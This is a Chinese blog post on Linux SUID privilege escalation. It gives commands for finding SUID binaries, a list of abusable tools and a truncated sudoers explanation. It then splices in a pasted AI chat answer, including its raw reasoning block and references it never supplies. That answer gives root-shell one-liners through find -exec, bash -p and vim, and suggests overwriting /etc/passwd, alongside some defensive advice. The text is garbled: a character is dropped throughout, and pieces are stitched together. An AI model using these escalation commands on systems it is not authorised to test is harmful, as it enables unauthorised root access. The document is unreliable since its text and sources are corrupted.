Linux-suid提权

概论

SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,会使调用者暂时获得该文件拥有者的权限,如果拥有SUID权限,那么我们就
可以利用系统中的二进制文件和工具进行root提权。

查找具有 SUID 权限位文件

下面的命令可以发现所有系统中运行的SUID可执行文件。其实更加准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件,然后将所有错误重定向到/dev/null,从而达到仅列出该用户具有访问权限的二进制文件的功能。

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
-perm 表示搜索的权限
-u=s 表示查找root用户拥有的文件
-type 表示我们正在寻找的文件类型
f 表示常规文件,不是目录或特殊文件
2 表示该进程的第二个文件描述符,既stderr(标准错误)
>表示重定向
> /dev/null 是一个特殊的文件系统对象,他将丢弃写入的所有内容

当然也可以使用 sudo -l 命令,列出当前用户可执行的命令
在这里插入图片描述

常用提权方式

1.nmap
2.find
3.vi/vim
4.bash
5.less
6.more
7.nano
8.cp
9.wget
10.apache
11.python
12.tcpdump
13. apache
14.man

1.1 /etc/sudoers 语法

root ALL=(ALL) ALL

root 用户可以从 ALL(任何)终端执行,充当ALL(任何)用户,并运行ALL(任何)命令。第一部分指定用户,第二部分指定可充当用户,第三部分指定 sudo 可运行的命令。

liver100day ALL= /sbin/poweroff

输入liver100day用户的密码,可以 sudo 执行

<think>好的,我现在需要帮助用户了解在Rocky Linux中如何利用SUID进行升。首先,我需要回顾一下SUID的基本概念,确保自己理解正确。SUID(Set User ID)是一种特殊限,当设置在一个可执行文件上时,无论谁运行该文件,它都会以文件所有者的限执行。例如,/usr/bin/passwd就有SUID设置,这样普通用户修改密码时能临时获得root限。 接下来,用户的具体问题是关于Rocky LinuxSUID教程。我应该先解释SUID的作用机制,再逐步指导如何查找具有SUID限的文件,然后分析这些文件是否可能被利用。常见的可利用的SUID程序包括bash、find、vim等,如果这些程序有SUID位,可能被用来限。 需要确保步骤清晰,用户能够一步步跟随操作。例如,使用find命令搜索SUID文件:find / -perm -4000 2>/dev/null。然后列举一些常见的可利用命令,并说明如何利用它们执行操作,比如使用find的exec参数执行命令,或者通过bash -p获取root shell。 同时,必须醒用户注意升的合法性,只能在授的环境中进行测试。此外,需要到防范措施,比如定期检查SUID文件,删除不必要的SUID限,使用最小限原则等。 在回答中,还需要引用供的参考资料。例如,引用[3]中到了SUID的作用和示例,引用[1]中的chmod命令设置SUID限,这些都可以用来支持解释。引用[4]中的例子展示了以root身份执行代码的情况,可以说明SUID的实际效果。 最后,生成相关问题,帮助用户进一步学习,比如如何检测系统中的SUID文件,或者SUID与SGID的区别等。要确保问题相关且有引导性,促进用户深入理解。 需要检查是否有技术错误,比如命令是否正确,步骤是否可行。例如,使用find命令时,参数是否正确,是否有处理错误输出的重定向。另外,到的示例是否适用于Rocky Linux,因为Rocky是基于RHEL的,可能与Ubuntu有些不同,但SUID机制是通用的,所以应该没问题。 总结回答的结构:先介绍SUID概念,然后步骤分解,包括查找文件、分析利用、示例演示,接着是防范措施,最后相关问题。确保每个部分逻辑清晰,语言简洁,符合用户要求的中文回答,并且正确使用LaTeX格式标注行内公式(如果有的话,但当前问题可能不需要数学公式,不过需检查是否有需要的地方)。</think>### Rocky Linux SUID原理与实现 SUID(Set User ID)是Linux系统中三种特殊限之一,当可执行文件设置SUID位后,执行该文件时会以文件所有者的身份运行[^3]。该特性常用于需要临时限的系统工具(如$passwd$命令),但也可能成为攻击者升的入口。 --- ### 一、SUID实施步骤 #### 1. 查找SUID文件 ```bash find / -perm -4000 2>/dev/null # 搜索所有SUID文件 ``` 关键结果示例: ```bash /usr/bin/bash /usr/bin/find /usr/bin/vim /usr/bin/cp ``` #### 2. 分析可利用程序 常见危险SUID程序: - **find**:可通过`-exec`参数执行命令 - **bash**:使用`bash -p`可保留特 - **vim**:通过`:!bash`启动shell - **cp**:覆盖敏感文件如/etc/passwd #### 3. 操作示例 **▌ 通过find** ```bash touch testfile find testfile -exec whoami \; # 显示当前执行身份 find testfile -exec /bin/bash -p \; # 获取root shell ``` **▌ 通过bash** ```bash bash -p # 启动特shell id # 验证uid=0(root) ``` **▌ 通过vim** ```bash vim /anyfile :!bash -p # 在vim中启动shell ``` --- ### 二、防御措施 1. **限审计**:定期执行`find / -perm -4000`检查 2. **最小化原则**:使用`chmod u-s filename`移除非必要SUID限[^1] 3. **命名空间隔离**:容器环境中限制root限传播[^4] 4. **系统更新**:及时修复类似CVE-2015-1328的本地漏洞[^2] ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值